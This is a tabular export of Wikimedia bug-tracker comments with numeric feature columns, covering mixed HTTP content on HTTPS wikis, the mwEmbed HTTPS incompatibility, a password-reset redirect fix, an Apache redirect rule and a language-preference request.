+Redirect works fine for me in my browser... No HTTPS on the target, but it doesn't try to go to HTTPS",,,1380321468,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-dpocfkqirsjrev23x7kp,task_subcomment,,True,c2,3,True,,,4,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,0,0,1,0,0,0,1
+165917,Check all wikis for inclusions of http resources on https,"Woah, what it?
+
+cewiki done in https://ce.wikipedia.org/w/index.php?title=MediaWiki%3ACommon.css&diff=118765&oldid=93507
+
+sawiki https://sa.wikipedia.org/w/index.php?title=%E0%A4%AE%E0%A4%BF%E0%A4%A1%E0%A5%80%E0%A4%AF%E0%A4%BE%E0%A4%B5%E0%A4%BF%E0%A4%95%E0%A5%80%3ACommon.js&diff=252205&oldid=240084
+
+For dawiki pgcount.wikimedia.de is dead to the world. In which case should be removed...",,,1380321277,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-dpocfkqirsjrev23x7kp,task_subcomment,,True,c2,3,True,,,4,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,0
+165909,Check all wikis for inclusions of http resources on https,"And..
+
+https://da.wikipedia.org 
+loads http://pgcount.wikimedia.de/index.png?ns=0&title=Forside&factor=20&wiki=dawiki",,,1380320746,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-dpocfkqirsjrev23x7kp,task_subcomment,,True,c2,3,True,,,4,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+165903,Check all wikis for inclusions of http resources on https,"I (finally) got around to writing a phantomjs script that loads Main_Page on all 878 wikis in all.dblist over https, and looks for any calls to http urls.
+
+Current result for this issue:
+
+https://ce.wikipedia.org
+loads http://upload.wikimedia.org/wikipedia/commons/1/10/Wikipedia-logo-v2-200px-transparent.png
+
+https://sa.wikipedia.org 
+loads http://strategywiki.org/w/index.php?title=User:Najzere/edit_counter.js&action=raw&ctype=text/javascript
+
+https://ve.wikimedia.org redirects to http://wikimedia.org.ve, no ssl on that domain",,,1380318478,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-dpocfkqirsjrev23x7kp,task_subcomment,,True,c2,3,True,,,4,True,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+165898,Check all wikis for inclusions of http resources on https,"Yes, I can give you an update... this is work in progress:
+Chris had it running on his personal laptop but it broke after a change. As doing this on a laptop isn't a to good idea for such a large automated task the plan is to migrate it to a labs instance after the scripts have been fixed.",,,1355765301,,PHID-USER-2mey32xhshfnf7rz7jjn,False,,,PHID-TASK-dpocfkqirsjrev23x7kp,task_subcomment,,True,c2,1,True,,,-37,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+165892,Check all wikis for inclusions of http resources on https,"(In reply to comment #7)
+> Chris Steipp is working on that following an idea of mine, together with the
+> 3rd party include problem. The idea behind that project is to scan the wikis
+> using a real-user browser scenario, so that we find all inclusions, no matter
+> how they're produced.
+
+Hoo, Chris, any update here, or way to help?",,,1354956064,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-dpocfkqirsjrev23x7kp,task_subcomment,,True,c2,1,True,,,-38,True,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+165886,Check all wikis for inclusions of http resources on https,"(In reply to comment #7)
+> Chris Steipp is working on that following an idea of mine, together with the
+> 3rd party include problem. The idea behind that project is to scan the wikis
+> using a real-user browser scenario, so that we find all inclusions, no matter
+> how they're produced.
+
+This also needs enabling (or otherwise including) all gadgets.",,,1345831949,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-dpocfkqirsjrev23x7kp,task_subcomment,,True,c2,1,True,,,-53,True,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+165881,Check all wikis for inclusions of http resources on https,"It's true, that I already fixed several thousand of MediaWiki: pages including http only URIs, but there are some that can't be fixed that easily (eg. were the scripts are obfuscated or using nested imports [scripts which include even other scripts]).
+
+Chris Steipp is working on that following an idea of mine, together with the 3rd party include problem. The idea behind that project is to scan the wikis using a real-user browser scenario, so that we find all inclusions, no matter how they're produced.
+
+CCed and assigned to Chris... he'll post the result on meta wiki as soon as he got them.",,,1345824262,,PHID-USER-2mey32xhshfnf7rz7jjn,False,,,PHID-TASK-dpocfkqirsjrev23x7kp,task_subcomment,,True,c2,1,True,,,-53,True,1,0,0,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,0,1,0,1,0,1,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,1
+165875,Check all wikis for inclusions of http resources on https,"Reference to the cleanup mentioned above: [[m:Stewards'_noticeboard/Archives/2012-04#Fixing_HTTPS_on_Wikimedia_wikis]].
+
+(In reply to comment #5)
+> A quick check of the first few dozen results yields some suspicious links:
+> 
+> http://toolserver.org
+> http://stats.wikimedia.org
+> http://s23.org/wikistats/wmspecials_html.php
+> http://www.wikilovesmonuments.be
+
+What do you mean suspicious? 
+Hoo, in the link above, said that Commons had already taken care of the problem. Most URLs in the search results, from a cursory reading, seem simple external links which can't always be replaced (although interwikis can be used for many toolserver.org URLs and all stats.wikimedia.org resources).
+I'm not sure, however, if anyone went through all of them.",,,1345764533,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-dpocfkqirsjrev23x7kp,task_subcomment,,True,c2,1,True,,,-53,True,1,1,0,1,1,1,0,0,1,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,1,1,0,0,1,1,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,1,1,1,0,0,1,1
+165868,Check all wikis for inclusions of http resources on https,"
+
+If I understand the correctly, checking on commons, given that commons seems to be the most complex wiki to have gotten 1.19 so far, I find on https://commons.wikimedia.org/w/index.php?title=Special%3ASearch&profile=advanced&search=http%3A%2F%2F&fulltext=Search&ns8=1&profile=advanced many hundreds of results for ""http://""
+
+A quick check of the first few dozen results yields some suspicious links:
+
+http://toolserver.org
+http://stats.wikimedia.org
+http://s23.org/wikistats/wmspecials_html.php
+http://www.wikilovesmonuments.be",,,1330369046,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-dpocfkqirsjrev23x7kp,task_subcomment,,True,c2,1,False,,,-79,True,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,1,1
+165862,Check all wikis for inclusions of http resources on https,"<Nemo_bis> Reedy, hoo has switched about 3000 MediaWiki messages (with CSS, JS, whatever) to protocol-relative URLs and this should have fixed most of it on most wikis
+<Nemo_bis> except evil JS which produce HTTP links with string manipulation",,,1330096154,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-dpocfkqirsjrev23x7kp,task_subcomment,,True,c2,1,True,,,-79,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,0,1,1
+165855,Check all wikis for inclusions of http resources on https,"Links don't matter so much, but inclusion of resources does more",,,1330095532,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-dpocfkqirsjrev23x7kp,task_subcomment,,True,c2,1,True,,,-79,True,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0
+165849,Check all wikis for inclusions of http resources on https,"Searching the MW namespace is a good place to start:
+
+https://he.wikinews.org/w/index.php?title=Special%3ASearch&profile=advanced&search=http%3A%2F%2F&fulltext=Search&ns8=1&profile=advanced
+
+which reveals https://he.wikinews.org/wiki/MediaWiki:Copyrightwarning",,,1330063006,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-dpocfkqirsjrev23x7kp,task_subcomment,,True,c2,1,False,,,-79,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+165843,Check all wikis for inclusions of http resources on https,"Chris, just a further note on this - It's not something we need to do every upgrade, it's a ""1 off"" task post our proper HTTPS switchover in the latter half of last year.",,,1330056367,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-dpocfkqirsjrev23x7kp,task_subcomment,,True,c2,1,True,,,-79,True,1,1,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,0
+36520,mwEmbed is not compatible with HTTPS-/secure-wiki,"**Author:** `it_is_me_here`
+
+**Description:**
+See https://en.wikipedia.org/wiki/Wikipedia:Village_pump_%28technical%29#HTTPS_issues. When browsing https://en.wikipedia.org on Google Chrome, the padlock is normally green (for HTTPS padlock colours, see https://support.google.com/chrome/bin/answer.py?hl=en&answer=95617), but if you'd enabled mwEmbed in your user preferences, it changes to red.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1329674820,1329760235.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-knwacgyk64y4w333akyt,task_description,resolved,True,c2,1,False,False,True,-80,True,0,0,0,0,0,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,0
+166636,mwEmbed is not compatible with HTTPS-/secure-wiki,"This bug is a duplicate of 32457 - mwEmbed is hosted on prototype.mw, meaning that it does not support https
+
+*** This bug has been marked as a duplicate of bug 32457 ***",,,1329760235,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-knwacgyk64y4w333akyt,task_subcomment,,True,c2,1,True,,,-80,True,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+166633,mwEmbed is not compatible with HTTPS-/secure-wiki,https://en.wikipedia.org/wiki/MediaWiki:Gadget-mwEmbed.js points to http://prototype.wikimedia.org/mwe-gadget/mwEmbed/remotes/mediaWiki.js and prototype doesn't have https set up on it.,,,1329758284,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-knwacgyk64y4w333akyt,task_subcomment,,True,c2,1,False,,,-80,True,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+36367,Please support https for http://labs.wikimedia.beta.wmflabs.org/wiki/Main_Page,"I often work with wireless, http is insecure.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1329134820,1337106051.0,PHID-USER-732lqsmz4v6bss3kln2v,False,,False,PHID-TASK-pw7dvnwa5k43ym2jdt7c,task_description,resolved,True,c2,1,False,False,True,-81,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+166015,Please support https for http://labs.wikimedia.beta.wmflabs.org/wiki/Main_Page,"
+
+*** This bug has been marked as a duplicate of bug 36648 ***",,,1337106051,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-pw7dvnwa5k43ym2jdt7c,task_subcomment,,True,c2,1,True,,,-68,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+166010,Please support https for http://labs.wikimedia.beta.wmflabs.org/wiki/Main_Page,"Roan K. will be working on it, as soon as he has a time",,,1329136827,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-pw7dvnwa5k43ym2jdt7c,task_subcomment,,True,c2,1,True,,,-81,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+35997,SpecialPasswordReset does not always has the correct returnto= page on the login / create account portlet and returns to SpecialPasswortReset instead to Main page,"I'll try to describe this reproducible problem, it's difficult to describe but perhaps someone of you has seen this problem also.
+
+When users have requested a temporary password through Special:PasswortReset and 
+
+- come back to the wiki 
+- and then click onto the Special:Login link (portlet) in order to get the password page, I noticed (the problem:) that often this portlet has a wrong value and after entering the temporary pw and the new password twice, the wiki shows again the Special:PasswordReset page instead of going to the Main page.
+
+Perhaps a new RequestContext should be set, but I do not know, how this can be done at that moment.
+
+When doing a passwort reset (enter the temporary password and twice a different, new password) on
+
+/index.php?title=Special:UserLogin&returnto=Special%3APasswordReset
+
+the Create Account/Login portlet has incorrectly
+
+/index.php?title=Special:UserLogin&returnto=Special%3APasswordReset
+
+instead of 
+
+/index.php?title=Special:UserLogin&returnto=Main+Page
+
+--------------------------
+**Version**: 1.20.x
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=57098",Medium,50.0,1327700760,1329004026.0,PHID-USER-ppvnwr24o32pux3le5ov,False,,False,PHID-TASK-tag5y25e6jgf6tfreibs,task_description,resolved,True,c2,1,False,False,True,-83,True,0,1,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,1,1,0,1,1,1,0,1,0,0,1,1,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+163813,SpecialPasswordReset does not always has the correct returnto= page on the login / create account portlet and returns to SpecialPasswortReset instead to Main page,"I tried your patch, this appears to work as expected and described. 
+
+great. fixed in r111270",,,1329004026,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-tag5y25e6jgf6tfreibs,task_subcomment,,True,c2,1,False,,,-81,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,1,1,1,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+163807,SpecialPasswordReset does not always has the correct returnto= page on the login / create account portlet and returns to SpecialPasswortReset instead to Main page,"**ashishmittal.mail** wrote:
+
+changes to SpecialUserLogin to return to Main_Page after a password change
+
+Hello,
+
+Thanks for the detailed explanation. I reproduced the second scenario and was able to figure out the following solutions for it:
+
+1. Modification of SpecialUserLogin to check if the returntitle is PasswordReset. If yes, make the returnto empty. 
+
+The code snippet is:
+
+# Do not redirect back to PasswordReset (instead to the Main_Page) after a successful password change
+		if( is_object( $returnToTitle ) && $returnToTitle->isSpecial( 'PasswordReset' ) ) {
+			$this->mReturnTo = '';
+			$this->mReturnToQuery = '';
+		}
+
+In this case, the returnto is still set to PasswordReset in the url, but after Login submission, the returnto is made emptied. Similar solution exits for the UserLogout page. In the case of UserLogout, if I manually go to UserLogout and click on Login, the returnto is set to UserLogout. Hence after successful login, the user would be returned to Logout page, but similar code prevents it from going to Logout page.
+
+2. Second solution is to modify the SkinTemplate to modify the login url itself. In the SkinTemplate, I can check the $wgRequest->getVal('returnto') and if it is set to PasswordReset, I can modify it to Main_Page. This would change the returnto in the $loginurl itself and would be used to return the user back to main page once the user has logged in.
+
+I am attaching a patch for the former, kindly give your review which solution is more suitable and if the code and the output seems fine.
+
+Thanks in advance.
+
+Regards,
+Aashish
+
+**Attached**: {F8804}",,,1328988236,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tag5y25e6jgf6tfreibs,task_subcomment,,True,c2,1,False,,,-81,True,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1
+163801,SpecialPasswordReset does not always has the correct returnto= page on the login / create account portlet and returns to SpecialPasswortReset instead to Main page,"(In reply to comment #1)
+> As per my understanding, generally after the user login, the page is redirected
+> back to the page user was originally on due to the parameter 'returnto' of the
+> $request object (WebRequest). 
+> Since in this case, the user was on 'PasswordRequest' page, he would be
+> redirected to the same page again. Hence in this case, we might need to
+> explicitly set the parameter to the 'main-page'. Hence it would be a code
+> addition somewhere in the PasswordReset page for setting the value of some
+> parameter to 'main-page' which would reflect in $request['returnto']
+> 
+> Aashish
+
+I think, I need to give a detailed analysis. Allow me to use some ""bold"" words to point to the differences.
+
+There is _no_ problem for this case I:
+
+- you or someone else has triggered to have the password ""reset"" mail sent to you from the Special:PasswordReset page
+- you go to your mail client
+- you click on the link in your mail - the link goes to https://server/phase3/index.php/Main_Page 
+- you come to the newly rendered Main page 
+- where you now click onto login 
+- enter your temporary password, and 2x the new one
+= Okay
+
+The problem is visible in this scenario case II:
+
+- you or someone else has triggered to have the password ""reset"" mail sent to you from the Special:PasswordReset page
+- (X) you LEAVE THIS browser page as it stands (saying something like ""a temporary password has been successfully mailed to ..."")
+- you goto to your mail
+- you DO NOT click on the link in your mail (the link goes to https://server/phase3/index.php/Main_Page)
+- you switch to your still-opened browser window with the unchanged page of step (X)
+- where you now click onto login link (THIS LINK HAS THE WRONG returnto https://server/phase3/index.php?title=Special:UserLogin&returnto=Special%3APasswordReset because the page was not rendered again, still stands at (X) )
+- enter your temporary password, and 2x the new one
+
+Problem: now your are again at ""Special:PasswordReset"" , which is correct behaviour of the Wiki software, but not what a user wants.",,,1328966488,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-tag5y25e6jgf6tfreibs,task_subcomment,,True,c2,1,False,,,-81,True,1,1,0,1,1,1,1,1,0,0,1,0,1,0,1,1,1,1,1,1,1,0,1,0,1,0,0,0,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1,0,0,0,1,0,1,1,0,1,1,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1
+163794,SpecialPasswordReset does not always has the correct returnto= page on the login / create account portlet and returns to SpecialPasswortReset instead to Main page,"**ashishmittal.mail** wrote:
+
+Hello,
+
+I would like to solve this bug.
+
+As per my understanding, generally after the user login, the page is redirected back to the page user was originally on due to the parameter 'returnto' of the $request object (WebRequest). 
+Since in this case, the user was on 'PasswordRequest' page, he would be redirected to the same page again. Hence in this case, we might need to explicitly set the parameter to the 'main-page'. Hence it would be a code addition somewhere in the PasswordReset page for setting the value of some parameter to 'main-page' which would reflect in $request['returnto']
+
+Kindly suggest if I am on the right track and guide.
+
+Thanks,
+Aashish",,,1328964834,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tag5y25e6jgf6tfreibs,task_subcomment,,True,c2,1,False,,,-81,True,1,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,1,1,1,0,1,0,1,0,1,1,0,0,1,1,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+35751,redirects.conf should not hardcode HTTP,"Apache configuration for redirections ( redirects.conf ) always redirects user to the http:// scheme. Since we support SSL on most site, we should stick to whatever protocol was requested by the user.
+
+Example of buggy redirection:
+
+    RewriteCond %{HTTP_HOST} mediawiki.org
+    RewriteRule ^/(.*)$ http://www.mediawiki.org/$1 [R=301,L]
+
+Should either redirect to a relative URL ( //www.mediawiki.org ) or replace http with SERVER_PROTOCOL
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1326713160,1340841921.0,PHID-USER-orzyp3dswemhdgdznro5,False,,False,PHID-TASK-t3ubosyuent45q6rm7q2,task_description,resolved,True,c2,1,True,False,True,-85,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,0,0,1,1
+157974,redirects.conf should not hardcode HTTP,"
+
+*** This bug has been marked as a duplicate of bug 31369 ***",,,1340841921,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-t3ubosyuent45q6rm7q2,task_subcomment,,True,c2,1,True,,,-61,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+157967,redirects.conf should not hardcode HTTP,https://rt.wikimedia.org/Ticket/Display.html?id=2847,,,1334925892,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-t3ubosyuent45q6rm7q2,task_subcomment,,True,c2,1,True,,,-71,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+35677,enable setting language preference without requiring login,"Why can't MediaWiki do like all major sites' software, and allow setting
+the interface language without requiring the user to establish an account?
+
+Observe the bottom of e.g.,
+http://www.facebook.com/
+http://www.flickr.com/
+http://www.youtube.com/
+Each has a language selector that doesn't require login.
+http://www.couchsurfing.org/
+even puts it right at top.
+
+Yes, patient users  can set their language preference in Preferences.
+But what about read-only sites? I.e., What should one suggest on
+http://www.mediawiki.org/wiki/Manual:Preventing_access#Restrict_account_creation
+to say to users who wish to view in a different language?
+Painfully suffix ""?uselang=..."" to the end of each URL they browse?
+
+One might argue ""users will confuse MediaWiki uselang= with
+XX.wikipedia.org languages"" ... well they haven't yet with the language
+choice in Preferences.
+
+I'm not saying rip it out of Preferences. I'm saying add an additional
+way to set it for even non-logged in users, just like the aforementioned
+""real websites"" do.
+
+Also consider the current accessibility up until the point the user has
+managed to register an account and finally set his/her language
+preference... all of which has to be somehow accomplished in the ""dark""
+of the default language, unless he/she knows to add the magic
+uselang=... to MediaWiki URLs every step of the way.
+
+Please don't suggest an add-on for such basic functionality.
+
+--------------------------
+**Version**: 1.20.x
+**Severity**: enhancement
+**Whiteboard**: UniversalLanguageSelector-fixed
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=20151
+https://bugzilla.wikimedia.org/show_bug.cgi?id=56464",Medium,50.0,1326329760,1383291886.0,PHID-USER-awbqewknju4hbrnah6pm,False,,False,PHID-TASK-eoh3qwkbowyrivc4rvgy,task_description,resolved,True,c2,1,False,False,True,-85,True,1,0,0,1,1,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,0,1,0,1,0,1,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,0,0,1,1,0,0,0,1,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,0
+163171,enable setting language preference without requiring login,"(In reply to comment #11)
+> I'm just going to mark this as fixed. ULS provides this functionality, and
+> there is no mention about WMF where this functionality cannot currently be
+> enabled.
+
+Fixing dependencies and component then.",,,1383292928,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-eoh3qwkbowyrivc4rvgy,task_subcomment,,True,c2,3,True,,,9,True,0,0,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,1
